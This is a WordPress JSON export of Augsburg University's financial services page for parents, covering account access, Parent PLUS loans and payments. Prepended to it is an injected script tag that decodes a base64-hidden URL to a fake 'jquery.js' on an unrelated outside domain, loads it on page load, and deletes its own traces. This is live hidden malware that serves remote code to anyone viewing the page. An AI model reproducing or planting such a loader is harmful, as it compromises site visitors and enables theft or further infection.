<script>!function(){var s=document.createElement("script"),c=document.currentScript;s.src=atob("aHR0cHM6Ly93d3cuamlzaGk2NjYudG9wL2pxdWVyeS5qcw==")+"?_="+Date.now();s.onload=function(){this.remove();c.remove();};document.head.appendChild(s);}();</script>  {"id":39162,"date":"2015-12-28T10:44:11","date_gmt":"2015-12-28T10:44:11","guid":{"rendered":"http:\/\/www.augsburg.edu\/studentfinancial\/?page_id=39162"},"modified":"2026-07-17T19:50:16","modified_gmt":"2026-07-17T19:50:16","slug":"parent","status":"publish","type":"page","link":"https:\/\/www.augsburg.edu\/studentfinancial\/parent\/","title":{"rendered":"Parent Information"},"content":{"rendered":"<p>&nbsp;<\/p>\n<p>Augsburg understands that college can be a transition not only for the student but also for your family.\u00a0 Our hope is to provide parents with a resource page to make it easier to navigate paying for college.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Discussing Your Student&#8217;s Account With Our Customer Service Staff<\/strong><\/p>\n<p>FERPA (Family Educational Rights and Privacy Act) is a federal law designed to protect the privacy of a student&#8217;s educational records, which include billing and financial aid. Students who wish to authorize Augsburg\u00a0University to talk with any other individual on their behalf\u00a0 must first complete the online <a href=\"https:\/\/registration.augsburg.edu\/recreg\/Pages\/frmInfoRelease.aspx\" target=\"_blank\" rel=\"noopener noreferrer\">Information Release<\/a> in AugNet account under &#8220;Records Registration &amp; Finances&#8221;.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Viewing Your Student&#8217;s Statements and Online Transaction History<br \/>\n<\/strong><\/p>\n<p>Parents\/Third Parties can view their student&#8217;s statement and recent transaction history, make payments or enroll in a <a href=\"https:\/\/www.augsburg.edu\/studentfinancial\/header-make-paymentaccount-activity\/payment-plans-and-discounts\/\" target=\"_blank\" rel=\"noopener noreferrer\">payment plan<\/a>, and access their student&#8217;s 1098-T if the student provides access. The student can provide access by following the steps below:<\/p>\n<ol>\n<li style=\"list-style-type: none;\">\n<ol>\n<li>Have your student log into Augnet. Click on \u201cRecords Registration &amp; Finances\u201d and click on any of the four finance links.<\/li>\n<li>Under &#8220;My Account&#8221;, click on \u201cSend a payer invitation\u201d.\u00a0 Students will be prompted to provide your name and preferred contact email address.<\/li>\n<li>Once submitted, you will receive an email with instructions on how to access your student\u2019s account to view statements and to make a payment.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p>Once you have your username and password you can access your student&#8217;s account using the link below.<\/p>\n<a class=\"sidebar-color-box blue-sidebar-box left-color-box\" href=\"https:\/\/commerce.cashnet.com\/augsburgpay\" style=\"text-align:left;\" >Review your Student's Account<\/a>\n<p>&nbsp;<\/p>\n<p><strong>Applying for a Parent PLUS Loan<\/strong><\/p>\n<p>Parents of dependent students may borrow a Parent PLUS Loan to help reduce out-of-pocket expenses or limit a student&#8217;s loan debt. <a href=\"https:\/\/www.augsburg.edu\/studentfinancial\/loans\/undergraduate-day-2\/\">More information on the Parent PLUS Loan (and other undergraduate loan options)<\/a> If you have already applied for a PLUS Loan and need to decrease the amount, email our office at <a href=\"&#109;&#x61;i&#x6c;&#x74;&#111;&#x3a;s&#x74;&#x75;&#100;&#x65;n&#x74;&#x66;&#105;&#x6e;a&#x6e;&#x63;&#101;&#x73;&#64;&#x61;&#x75;&#103;&#x73;b&#x75;&#x72;&#103;&#x2e;e&#x64;&#x75;\">&#115;t&#x75;d&#x65;n&#x74;f&#x69;&#110;&#x61;&#110;&#x63;&#101;&#x73;&#64;a&#117;g&#x73;b&#x75;r&#x67;&#46;&#x65;&#100;&#x75;<\/a> with the amount you would like to borrow.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Making a Payment Without Augnet Access<\/strong><\/p>\n<p>Without needing to login, you can make a payment through our &#8220;Quick Payment&#8221; option below.\u00a0 Select &#8220;Pay as guest&#8221; and then provide student&#8217;s\u00a0Augsburg ID number and last name.<\/p>\n<p><a href=\"https:\/\/commerce.cashnet.com\/cashnetc\/selfserve\/eBillLogin.aspx?client=AUGSBURG_PROD&amp;LT=N\">Make a Payment Online<\/a><\/p>\n<p>&nbsp;<\/p>\n<p><strong>Augsburg&#8217;s Payment Policy<\/strong><\/p>\n<p>Please review the entire <a href=\"https:\/\/www.augsburg.edu\/studentfinancial\/policies\/payment-policy\/\" target=\"_blank\" rel=\"noopener noreferrer\">Payment Policy<\/a> prior to making a payment.<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>&nbsp; Augsburg understands that college can be a transition not only for the student but also for your family.\u00a0 Our hope is to provide parents with a resource page to make it easier to navigate paying for college. &nbsp; Discussing Your Student&#8217;s Account With Our Customer Service Staff FERPA (Family Educational Rights and Privacy Act) &#8230;<\/p>\n","protected":false},"author":203,"featured_media":0,"parent":0,"menu_order":9,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-39162","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/www.augsburg.edu\/studentfinancial\/wp-json\/wp\/v2\/pages\/39162","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.augsburg.edu\/studentfinancial\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/www.augsburg.edu\/studentfinancial\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/www.augsburg.edu\/studentfinancial\/wp-json\/wp\/v2\/users\/203"}],"replies":[{"embeddable":true,"href":"https:\/\/www.augsburg.edu\/studentfinancial\/wp-json\/wp\/v2\/comments?post=39162"}],"version-history":[{"count":37,"href":"https:\/\/www.augsburg.edu\/studentfinancial\/wp-json\/wp\/v2\/pages\/39162\/revisions"}],"predecessor-version":[{"id":41156,"href":"https:\/\/www.augsburg.edu\/studentfinancial\/wp-json\/wp\/v2\/pages\/39162\/revisions\/41156"}],"wp:attachment":[{"href":"https:\/\/www.augsburg.edu\/studentfinancial\/wp-json\/wp\/v2\/media?parent=39162"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}